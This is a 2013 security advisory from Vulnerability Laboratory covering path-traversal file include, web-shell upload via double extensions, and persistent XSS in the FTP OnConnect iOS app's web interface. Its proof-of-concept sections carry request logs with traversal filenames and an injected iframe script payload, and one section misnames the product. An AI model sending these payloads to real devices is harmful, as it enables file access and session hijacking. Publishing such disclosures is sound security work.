354 lines
No EOL
14 KiB
Text
354 lines
No EOL
14 KiB
Text
Title:
|
||
======
|
||
FTP OnConnect v1.4.11 iOS - Multiple Web Vulnerabilities
|
||
|
||
|
||
Date:
|
||
=====
|
||
2013-08-04
|
||
|
||
|
||
References:
|
||
===========
|
||
http://www.vulnerability-lab.com/get_content.php?id=1041
|
||
|
||
|
||
VL-ID:
|
||
=====
|
||
1041
|
||
|
||
|
||
Common Vulnerability Scoring System:
|
||
====================================
|
||
8.6
|
||
|
||
|
||
Introduction:
|
||
=============
|
||
Simultaneous connections, and directory caching improves the work efficiency and save your time. Transmission Manager feature
|
||
is easier and more efficient transmission to be managed. Supports FTP / SFTP / FTPS (Explicit FTP over TLS, Implicit FTP over
|
||
TLS) connection. SFTP Private key authentication. name/password authentication is also supported.
|
||
|
||
( Copy of the Homepage: https://itunes.apple.com/us/app/ftp-onconnect-free-ftp-sftp/id594722236 )
|
||
|
||
|
||
Abstract:
|
||
=========
|
||
The Vulnerability Laboratory Research Team discovered a command/path inject vulnerability in the FTP OnConnect v1.4.11 application (Apple iOS - iPad & iPhone).
|
||
|
||
|
||
Report-Timeline:
|
||
================
|
||
2013-08-04: Public Disclosure (Vulnerability Laboratory)
|
||
|
||
|
||
Status:
|
||
========
|
||
Published
|
||
|
||
|
||
Affected Products:
|
||
==================
|
||
Apple AppStore
|
||
Product: FTP OnConnect - Mobile Application 1.4.11
|
||
|
||
|
||
Exploitation-Technique:
|
||
=======================
|
||
Remote
|
||
|
||
|
||
Severity:
|
||
=========
|
||
Critical
|
||
|
||
|
||
Details:
|
||
========
|
||
1.1
|
||
A file include web vulnerability is detected in the FTP OnConnect v1.4.11 mobile application (Apple iOS - iPad & iPhone).
|
||
The file include vulnerability allows remote attackers to include (upload) local file or path requests to compromise the application or service.
|
||
|
||
The vulnerability is located in the upload module when processing to upload files with manipulated filenames in the POST method request & header.
|
||
The attacker can inject local path or files to request context and compromise the mobile device or ftp service. The validation has a bad side
|
||
effect which impacts the risk to combine the attack with persistent injected script code.
|
||
|
||
Exploitation of the local file include web vulnerability requires no user interaction or privilege application user account with password.
|
||
Successful exploitation of the vulnerability results in unauthorized local file and path requests to compromise the device or application.
|
||
|
||
Vulnerable Application(s):
|
||
[+] FTP OnConnect v1.4.11 - ITunes or AppStore (Apple)
|
||
|
||
Vulnerable Module(s):
|
||
[+] Upload (Files) - (http://localhost:50000)
|
||
|
||
Vulnerable Parameter(s):
|
||
[+] filename
|
||
|
||
Affected Module(s):
|
||
[+] Index File Dir Listing
|
||
|
||
|
||
|
||
1.2
|
||
An arbitrary file upload web vulnerability is detected in the FTP OnConnect v1.4.11 mobile application (Apple iOS - iPad & iPhone).
|
||
The arbitrary file upload issue allows a remote attacker to upload files with multiple extensions to bypass the validation for unauthorized access.
|
||
|
||
The vulnerability is located in the upload module when processing to upload files with multiple ending extensions. Attackers are able to upload
|
||
a php or js web-shells by renaming the file with multiple extensions. The attacker uploads for example a web-shell with the following name and
|
||
extension image.jpg.js.php.jpg . At the end the attacker deletes in the request after the upload the jpg to access unauthorized the malicious
|
||
file (web-shell) to compromise the web-server or mobile device.
|
||
|
||
Exploitation of the arbitrary file upload web vulnerability requires no user interaction or privilege application user account with password.
|
||
Successful exploitation of the vulnerability results in unauthorized file access because of a compromise after the upload of web-shells.
|
||
|
||
Vulnerable Application(s):
|
||
[+] FTP OnConnect v1.4.11 - ITunes or AppStore (Apple)
|
||
|
||
Vulnerable Module(s):
|
||
[+] Upload (Files) - (http://localhost:50000)
|
||
|
||
Vulnerable Parameter(s):
|
||
[+] filename (multiple extensions)
|
||
|
||
Affected Module(s):
|
||
[+] Index File Dir Listing
|
||
|
||
|
||
|
||
1.3
|
||
A persistent input validation web vulnerability is detected in the Private Photos v1.0 application (Apple iOS - iPad & iPhone).
|
||
The bug allows an attacker (remote) to implement/inject malicious own malicious persistent script codes (application side).
|
||
|
||
The vulnerability is located in the add `New Folder` module of the web-server (http://localhost:50000) application when processing to
|
||
inject via POST method request manipulated `folder-names`. The folder name will be changed to the path value without secure filter,
|
||
encoding or parse mechanism. The injected script code will be executed in the path listing context and of course also in the index
|
||
file dir listing of the mobile ftp web application interface.
|
||
|
||
Exploitation of the persistent web vulnerability requires low user interaction and a local low privilege mobile application account
|
||
with a password. Successful exploitation of the vulnerability can lead to persistent session hijacking (customers), account steal
|
||
via persistent web attacks, persistent phishing or persistent module context manipulation.
|
||
|
||
Vulnerable Application(s):
|
||
[+] FTP OnConnect v1.4.11 - ITunes or AppStore (Apple)
|
||
|
||
Vulnerable Module(s):
|
||
[+] New Folder - (http://localhost:50000/?dir=)
|
||
|
||
Vulnerable Parameter(s):
|
||
[+] foldername
|
||
|
||
Affected Module(s):
|
||
[+] Index File Dir Listing
|
||
[+] Path/Folder Listing
|
||
|
||
|
||
Proof of Concept:
|
||
=================
|
||
1.1
|
||
The local file include web vulnerability can be exploited by remote attackers without privilege application user account and
|
||
also without user interaction. For demonstration or reproduce ...
|
||
|
||
|
||
PoC:
|
||
<tr class="shadow"><td><a href="/download.html?dir=%2F&name=[LOCAL FILE/PATH INCLUDE VULNERABILITY!]"
|
||
class="file">../var/mobile/[LOCAL FILE/PATH INCLUDE VULNERABILITY!].*</a></td><td>95.8 KB</td><td>3. August 2013 18:29</td>
|
||
<td><form action="/delete.html?fileType=f&dir=%2F&name=../var/mobile/[LOCAL FILE/PATH INCLUDE VULNERABILITY!].*"
|
||
method="post"><input name="_method" value="Delete" type="hidden"><input name="commit" value=" Delete " class="button"
|
||
type="submit"> <input name="rename" value=" Rename "
|
||
onclick="renameFunction('f','%2F','../var/mobile/[LOCAL FILE/PATH INCLUDE VULNERABILITY!].*')"
|
||
class="button" type="BUTTON"></form></td></tr>
|
||
|
||
|
||
--- Request Session Log POST ---
|
||
Status: 200[OK]
|
||
|
||
POST http://192.168.2.104:50000/upload.html
|
||
Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ]
|
||
Content Size[0]
|
||
Mime Type[application/x-unknown-content-type]
|
||
|
||
|
||
Request Headers:
|
||
Host[192.168.2.104:50000]
|
||
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0]
|
||
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
|
||
Accept-Language[en-US,en;q=0.5]
|
||
Accept-Encoding[gzip, deflate]
|
||
DNT[1]
|
||
|
||
Referer[http://192.168.2.104:50000/index.html?dir=%2F]
|
||
Connection[keep-alive]
|
||
|
||
Post Data:
|
||
POST_DATA[-----------------------------7857615028463
|
||
Content-Disposition: form-data; name="newfile"; filename="../var/mobile/[LOCAL FILE/PATH INCLUDE VULNERABILITY!].*"
|
||
Content-Type: image/png
|
||
|
||
|
||
Note: After the inject the remote attacker can open up the index file dir listing to execute the unauthorized file/path request.
|
||
|
||
|
||
|
||
|
||
1.2
|
||
The arbitrary file upload web vulnerability can be exploited by remote attackers without privilege application user account and
|
||
also without user interaction. For demonstration or reproduce ...
|
||
|
||
|
||
PoC:
|
||
<tr class="shadow"><td><a href="/download.html?dir=%2F&name=1234.png.txt.iso.php.js.html.gif"
|
||
class="file">1234.png.txt.iso.php.js.html.gif</a></td><td>95.8 KB</td><td>3. August 2013 18:29</td>
|
||
<td><form action="/delete.html?fileType=f&dir=%2F&name=1234.png.txt.iso.php.js.html.gif"
|
||
method="post"><input name="_method" value="Delete" type="hidden"><input name="commit" value="
|
||
Delete " class="button" type="submit"> <input name="rename" value=" Rename "
|
||
onclick="renameFunction('f','%2F','1234.png.txt.iso.php.js.html.gif')" class="button" type="BUTTON"></form></td></tr>
|
||
|
||
|
||
--- Request Session Log POST ---
|
||
Status: 200[OK]
|
||
POST http://192.168.2.104:50000/upload.html
|
||
Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ]
|
||
Content Size[0]
|
||
Mime Type[application/x-unknown-content-type]
|
||
|
||
|
||
Request Headers:
|
||
Host[192.168.2.104:50000]
|
||
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0]
|
||
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
|
||
Accept-Language[en-US,en;q=0.5]
|
||
Accept-Encoding[gzip, deflate]
|
||
DNT[1]
|
||
|
||
Referer[http://192.168.2.104:50000/index.html?dir=%2F]
|
||
Connection[keep-alive]
|
||
|
||
Post Data:
|
||
POST_DATA[-----------------------------7857615028463
|
||
Content-Disposition: form-data; name="newfile"; filename="1234.png.txt.iso.php.js.html.gif"
|
||
Content-Type: image/gif
|
||
|
||
|
||
Note: After the inject the attacker can easily visit the main index website and open the ?dir= folder listing by attaching
|
||
the filename with the multi extension. After the first request the attacker opens the file the regular way without the parameter
|
||
?dir (path) to execute without download.
|
||
|
||
|
||
|
||
1.3
|
||
The persistent input validation web vulnerability can be exploited by remote attackers without privilege application user account and
|
||
with low user interaction. For demonstration or reproduce ...
|
||
|
||
|
||
PoC: New Folder - Index File Dir Listing
|
||
|
||
<table border="0" cellpadding="0" cellspacing="0">
|
||
<thead>
|
||
<tr><th>Name</th><th class="sizeStr">Size</th><th class="dateStr">Date</th><th class="actionStr">Action</th></tr>
|
||
</thead>
|
||
<tbody id="filelist"><tr><td><a href="http://192.168.2.104:50000/index.html?dir=%2F%3E%22%3Ciframe%20src%3Da%3E"
|
||
class="file"><>"<iframe src="FTP%20On%20Connect%20File%20Management-foldername_files/a.txt">
|
||
></a></td><td>0
|
||
byte</td><td>3. August 2013
|
||
14:43</td><td><form
|
||
action='/delete.html?fileType=d&dir=%2F%3E%22%3Ciframe%20src%3Da%3E'
|
||
method='post'><input name='_method' value='Delete'
|
||
type='hidden'/><input name="commit" type="submit" value=" Delete "
|
||
class='button'/> <input
|
||
name="rename" value=" Rename " type="BUTTON"
|
||
onclick="renameFunction('d','%2F%3E%22%3Ciframe%20src%3Da%3E','%3E%22%3Ciframe%20src%3Da%3E')"
|
||
class='button'/></form></td></tr></tbody></table></iframe></a></td></tr>
|
||
|
||
|
||
--- Request Session Log GET ---
|
||
|
||
Status: 200[OK]
|
||
|
||
GET http://192.168.2.104:50000/newFolder.html?folderName=%3E%22%3Ciframe%20src%3Da%20onload%3Dalert(%22HITHOMAS%22)%3C%3E
|
||
Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ]
|
||
Content Size[0] Mime Type[application/x-unknown-content-type]
|
||
|
||
|
||
Request Headers:
|
||
|
||
Host[192.168.2.104:50000]
|
||
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0]
|
||
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
|
||
Accept-Language[en-US,en;q=0.5]
|
||
Accept-Encoding[gzip, deflate]
|
||
DNT[1]
|
||
|
||
Referer[http://192.168.2.104:50000/index.html?dir=%2FMAINPENTESTFOLDER]
|
||
Connection[keep-alive]
|
||
Response Headers:
|
||
Accept-Ranges[bytes]
|
||
Content-Length[0]
|
||
|
||
Location[http://192.168.2.104:50000/index.html?dir=/MAINPENTESTFOLDER/]
|
||
Date[Sat, 03 Aug 2013 12:52:13 GMT]
|
||
|
||
|
||
Note: After the inject the folder can only be deleted by the device itself because the functions are not anymore available.
|
||
Exploitation of the issue does also work via rename without the add function.
|
||
|
||
|
||
Solution:
|
||
=========
|
||
1.1 - 1.2
|
||
The vulnerabilities can be patched by a secure file name input restriction and filter when processing to upload. Parse and encode the filename input
|
||
of the file upload POST method request. Parse and encode the output file listing of the filename even if the input is restricted.
|
||
Disallow double extensions by setting a restriction to `.` on file uploads.
|
||
|
||
1.2
|
||
The persistent input validation can be parsed by a secure encode of the foldername input and output listing.
|
||
It is also required to setup a restriction to the foldername input to prevent the include of special chars or script codes.
|
||
|
||
|
||
Risk:
|
||
=====
|
||
1.1
|
||
The security risk of the local file include web vulnerability is estimated as high(+).
|
||
|
||
1.2
|
||
The security risk of the arbitrary file upload web vulnerability is estimated as critical.
|
||
|
||
1.3
|
||
The security risk of the persistent input validation web vulnerability is estimated as high(-).
|
||
|
||
|
||
Credits:
|
||
========
|
||
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com)
|
||
|
||
|
||
Disclaimer:
|
||
===========
|
||
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
|
||
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
|
||
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
|
||
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
|
||
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
|
||
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
|
||
or trade with fraud/stolen material.
|
||
|
||
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
|
||
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
|
||
Section: www.vulnerability-lab.com/dev - forum.vulnerability-db.com - magazine.vulnerability-db.com
|
||
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
|
||
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
|
||
|
||
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
|
||
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
|
||
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and
|
||
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
|
||
modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.
|
||
|
||
Copyright <20> 2013 | Vulnerability Laboratory [Evolution Security]
|
||
|
||
|
||
|
||
--
|
||
VULNERABILITY LABORATORY RESEARCH TEAM
|
||
DOMAIN: www.vulnerability-lab.com
|
||
CONTACT: research@vulnerability-lab.com |